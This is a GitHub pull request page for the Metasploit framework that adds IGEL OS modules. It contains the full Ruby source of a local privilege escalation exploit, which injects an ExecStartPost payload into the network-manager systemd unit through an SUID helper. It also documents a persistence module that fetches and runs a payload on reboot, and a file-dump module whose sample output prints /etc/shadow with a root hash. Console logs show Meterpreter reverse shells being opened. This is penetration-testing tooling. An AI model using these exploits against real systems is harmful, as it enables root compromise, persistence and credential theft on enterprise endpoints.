-
Notifications
You must be signed in to change notification settings - Fork 14.6k
IGEL OS modules #20702
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
IGEL OS modules #20702
Changes from all commits
Commits
Show all changes
22 commits
Select commit
Hold shift + click to select a range
f29505d
Add IGEL OS modules
Zedeldi 1436803
Strip first line and quotes
Zedeldi c37f787
Add documentation for IGEL OS modules
Zedeldi 796d941
Code formatting changes
Zedeldi c6db0d4
Move IGEL OS persistence module to linux/persistence
Zedeldi 22aead0
Use vprint_status for modify_service and restart_service
Zedeldi beed317
Use create_process instead of cmd_exec
Zedeldi bc2c397
Add check for root access to igel_persistence
Zedeldi 8d28ce6
Revert to cmd_exec for modify_service and improve code style
Zedeldi ba702d4
Remove x86 target and redundant DefaultOptions
Zedeldi b131378
Add IGEL OS and vulnerability summary to documentation
Zedeldi dc9eddc
Use store_loot for igel_dump_file
Zedeldi 425adfa
Prefer create_process over cmd_exec for commands with arguments
Zedeldi c0a756a
Verify registry has been written successfully
Zedeldi da33eed
Use fail_with instead of a check method
Zedeldi 0c4d1e7
Add support for ARCH_CMD payload
Zedeldi 002795c
Update module information in documentation
Zedeldi 933fb7b
Add clean-up information
Zedeldi ffaf43a
Add writable? and file? checks to write_payload
Zedeldi ce926fd
Update vulnerable IGEL OS version to < 11.09.310
Zedeldi 4b2798f
Correct vulnerable version information
Zedeldi d1fe177
Add check methods and update DisclosureDate
Zedeldi File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
57 changes: 57 additions & 0 deletions
57
documentation/modules/exploit/linux/local/igel_network_priv_esc.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,57 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| IGEL OS < 11.10.150 with a `shell` or `meterpreter` session. | ||
|
|
||
| IGEL OS is a Linux-based operating system designed for endpoint devices, | ||
| primarily used in enterprise environments to provide secure access to virtual | ||
| workspaces. It focuses on enhancing security, simplifying management, and | ||
| improving user productivity across various sectors, including healthcare and | ||
| finance. | ||
|
|
||
| In previous versions, `/config/bin/setup_cmd` was an SUID binary, with a preset | ||
| list of files it could execute with elevated permissions. This allowed a bash | ||
| script `/config/bin/network` to be executed as root, which in turn called | ||
| `systemctl $1 network-manager.service`, allowing a systemd unit to be modified | ||
| by an unprivileged user. | ||
|
|
||
| The network service is restarted after the systemd unit configuration is updated, | ||
| causing a brief notification and loss of network connectivity. Once restarted, | ||
| a session should be created as root. | ||
|
|
||
| All files on disk (including the payload) are registered for clean-up. | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.150 host | ||
| 2. Use: `use exploit/linux/local/igel_network_priv_esc` | ||
| 3. Set: `set SESSION <id>`, replacing `<id>` with the session ID | ||
| 4. Set payload options, e.g. `LHOST` | ||
| 5. Exploit: `run` | ||
| 6. A new session is created as root | ||
|
|
||
| ## Options | ||
|
|
||
| None. | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ``` | ||
| msf exploit(linux/local/igel_network_priv_esc) > set SESSION 1 | ||
| SESSION => 1 | ||
| msf exploit(linux/local/igel_network_priv_esc) > set LHOST 192.168.56.1 | ||
| LHOST => 192.168.56.1 | ||
| msf exploit(linux/local/igel_network_priv_esc) > run | ||
| [*] Started reverse TCP handler on 192.168.56.1:4444 | ||
| [*] Uploading payload to target | ||
| [*] Writing config to target | ||
| [*] Applying service config | ||
| [*] Restarting service | ||
| [*] Sending stage (3090404 bytes) to 192.168.56.7 | ||
| [+] Deleted /tmp/WHQCVmDB | ||
| [+] Deleted /tmp/fylZWXSF | ||
| [+] Deleted /tmp/LBnyPcKt | ||
| [*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.7:51938) at 2025-11-17 16:00:48 +0000 | ||
|
|
||
| meterpreter > getuid | ||
| Server username: root | ||
| ``` |
56 changes: 56 additions & 0 deletions
56
documentation/modules/exploit/linux/persistence/igel_persistence.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,56 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| IGEL OS with a `shell` or `meterpreter` session. | ||
|
|
||
| IGEL OS is a Linux-based operating system designed for endpoint devices, | ||
| primarily used in enterprise environments to provide secure access to virtual | ||
| workspaces. It focuses on enhancing security, simplifying management, and | ||
| improving user productivity across various sectors, including healthcare and | ||
| finance. | ||
|
|
||
| Most of the operating system is read-only, mounted from SquashFS images | ||
| stored in their proprietary filesystem, with the exception of a few persistent | ||
| locations. Therefore, changes to the system will likely be lost on a reboot, | ||
| unless written to specific locations, such as `/license` or registry. | ||
|
|
||
| This module requires root access in order to write to privileged locations | ||
| in registry and optionally remount and write to `/license`. | ||
|
|
||
| By default, the module writes a command payload to registry to fetch and execute | ||
| the binary payload on establishing a network connection after a reboot. | ||
|
|
||
| See [igelfs](https://github.com/Zedeldi/igelfs) for more information about | ||
| the IGEL filesystem and an unofficial Python implementation. | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Get a `shell` or `meterpreter` session on an IGEL OS host | ||
| 2. Use: `use exploit/linux/persistence/igel_persistence` | ||
| 3. Set: `set SESSION <id>`, replacing `<id>` with the session ID | ||
| 4. Set payload options, e.g. `LHOST` | ||
| 5. Exploit: `run` | ||
| 6. The payload is executed on next boot/login (dependent on `REGISTRY_KEY`) | ||
|
|
||
| ## Options | ||
|
|
||
| | Name | Description | | ||
| | ------------- | ------------------------------------------------------- | | ||
| | REGISTRY_KEY | Registry key to use for automatically executing payload | | ||
| | REGISTRY_ONLY | Set whether to store payload in registry (dropper only) | | ||
| | TARGET_DIR | Directory to write payload (dropper only) | | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ``` | ||
| msf exploit(linux/persistence/igel_persistence) > set SESSION 2 | ||
| SESSION => 2 | ||
| msf exploit(linux/persistence/igel_persistence) > set LHOST 192.168.56.1 | ||
| LHOST => 192.168.56.1 | ||
| msf exploit(linux/persistence/igel_persistence) > run | ||
| [*] Started reverse TCP handler on 192.168.56.1:4444 | ||
| [*] Uploading payload to /license | ||
| [*] Writing persistence to registry | ||
| [*] Registry written successfully | ||
| [*] The payload should be executed when the target reboots | ||
| [*] Exploit completed, but no session was created. | ||
| ``` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,55 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| IGEL OS < 11.09.260 with a `shell` or `meterpreter` session. | ||
|
|
||
| IGEL OS is a Linux-based operating system designed for endpoint devices, | ||
| primarily used in enterprise environments to provide secure access to virtual | ||
| workspaces. It focuses on enhancing security, simplifying management, and | ||
| improving user productivity across various sectors, including healthcare and | ||
| finance. | ||
|
|
||
| In previous versions, `/config/bin/setup_cmd` was an SUID binary, with a preset | ||
| list of files it could execute with elevated permissions. This allowed | ||
| `/bin/date -f` to be used for data extraction as root. | ||
|
|
||
| The dumped file is printed to screen and saved as loot. | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.09.260 host | ||
| 2. Use: `use post/linux/gather/igel_dump_file` | ||
| 3. Set: `set SESSION <id>`, replacing `<id>` with the session ID | ||
| 4. Optionally, set `RPATH` | ||
| 5. Run: `run` | ||
| 6. Contents of file is displayed | ||
|
|
||
| ## Options | ||
|
|
||
| | Name | Description | | ||
| | ------------- | -------------------------- | | ||
| | RPATH | File on the target to dump | | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ``` | ||
| msf post(linux/gather/igel_dump_file) > set SESSION 1 | ||
| SESSION => 1 | ||
| msf post(linux/gather/igel_dump_file) > set RPATH /etc/shadow | ||
| RPATH => /etc/shadow | ||
| msf post(linux/gather/igel_dump_file) > run | ||
| [*] Executing command on target | ||
| [*] Command completed: | ||
| games:!!:20409:::::: | ||
| man:!!:20409:::::: | ||
| proxy:!!:20409:::::: | ||
| backup:!!:20409:::::: | ||
| list:!!:20409:::::: | ||
| irc:!!:20409:::::: | ||
| gnats:!!:20409:::::: | ||
| systemd-coredump:!!:20409:::::: | ||
| root:$6$BEtW8dG/eZ2nHb2X$vE1ZoeP.Z00bSB6dF9PVNHB3gcT1Wh5U2WUMPDBqBwMmZg.cshgiApIXVmDk.S.RhWTxKoZbZRWyqyMyHkzby.:20409:0:99999:::: | ||
| rtkit:*:20409:0:99999:7::: | ||
| user:*:20409:0:99999:::: | ||
| ruser::20409:0:99999:::: | ||
| [*] Post module execution completed | ||
| ``` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,120 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Exploit::Local | ||
| include Msf::Post::Linux | ||
| include Msf::Post::Linux::System | ||
| include Msf::Post::Unix | ||
| include Msf::Post::File | ||
| include Msf::Exploit::FileDropper | ||
| include Msf::Exploit::EXE | ||
| prepend Msf::Exploit::Remote::AutoCheck | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'IGEL OS Privilege Escalation (via systemd service)', | ||
| 'Description' => %q{ | ||
| Escalate privileges for IGEL OS Workspace Edition sessions, by modifying | ||
| network-manager.service using setup_cmd (SUID) and network, then restarting | ||
| the service. | ||
| }, | ||
| 'Author' => 'Zack Didcott', | ||
| 'License' => MSF_LICENSE, | ||
| 'Platform' => ['linux'], | ||
| 'Arch' => [ARCH_X64], | ||
| 'Targets' => [ | ||
| [ | ||
| 'Linux x86_64', { | ||
| 'Arch' => ARCH_X64, | ||
| 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } | ||
| } | ||
| ], | ||
| ], | ||
| 'DefaultTarget' => 0, | ||
| 'SessionTypes' => ['shell', 'meterpreter'], | ||
| 'DisclosureDate' => '2024-07-10', # Patch release date | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SERVICE_RESTARTS], | ||
| 'Reliability' => [REPEATABLE_SESSION], | ||
| 'SideEffects' => [CONFIG_CHANGES, SCREEN_EFFECTS] | ||
| } | ||
| ) | ||
| ) | ||
|
|
||
| register_advanced_options([ | ||
| OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) | ||
| ]) | ||
| end | ||
|
|
||
| def check | ||
| version = Rex::Version.new( | ||
| read_file('/etc/system-release').delete_prefix('IGEL OS').strip | ||
| ) | ||
| unless version < Rex::Version.new('11.10.150') | ||
| return CheckCode::Safe("IGEL OS #{version} is not vulnerable") | ||
| end | ||
|
|
||
| CheckCode::Appears("IGEL OS #{version} should be vulnerable") | ||
| end | ||
|
|
||
| def exploit | ||
| print_status('Uploading payload to target') | ||
| payload_file = write_payload(generate_payload_exe, datastore['WritableDir'], 0o700) | ||
|
|
||
| print_status('Writing config to target') | ||
| config = build_config(payload_file) | ||
| config_file = write_payload(config, datastore['WritableDir'], 0o600) | ||
|
|
||
| print_status('Applying service config') | ||
| vprint_status(modify_service(config_file)) | ||
|
|
||
| print_status('Restarting service') | ||
| vprint_status(restart_service) | ||
| end | ||
|
|
||
| def write_payload(contents, dir, perm) | ||
| fail_with(Failure::NoAccess, "Directory '#{dir}' is not writable") unless writable?(dir) | ||
| fail_with(Failure::NoAccess, "Directory '#{dir}' is on a noexec mount point") if noexec?(dir) | ||
|
|
||
| filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}" | ||
|
|
||
| write_file(filepath, contents) | ||
| chmod(filepath, perm) | ||
|
|
||
| unless file?(filepath) | ||
| fail_with(Failure::Unknown, "Failed to write to '#{filepath}'") | ||
| end | ||
|
|
||
| register_files_for_cleanup(filepath) | ||
|
|
||
| return filepath | ||
| end | ||
|
|
||
| def build_config(payload_file) | ||
| config = <<~CONFIG.strip | ||
| [Service] | ||
| TimeoutStartSec=infinity | ||
| ExecStartPost=#{payload_file} | ||
| CONFIG | ||
| return config | ||
| end | ||
|
|
||
| def modify_service(config_file) | ||
| command = <<~COMMAND.strip | ||
| /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' << EOF | ||
| env SYSTEMD_EDITOR="/bin/cp #{config_file}" /config/bin/setup_cmd /config/bin/network edit | ||
| EOF | ||
| COMMAND | ||
|
|
||
| script_file = write_payload(command, datastore['WritableDir'], 0o700) | ||
| cmd_exec(script_file) | ||
| end | ||
|
|
||
| def restart_service | ||
| create_process('/config/bin/setup_cmd', args: ['/config/bin/network', 'restart'], time_out: 120) | ||
| end | ||
| end | ||
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.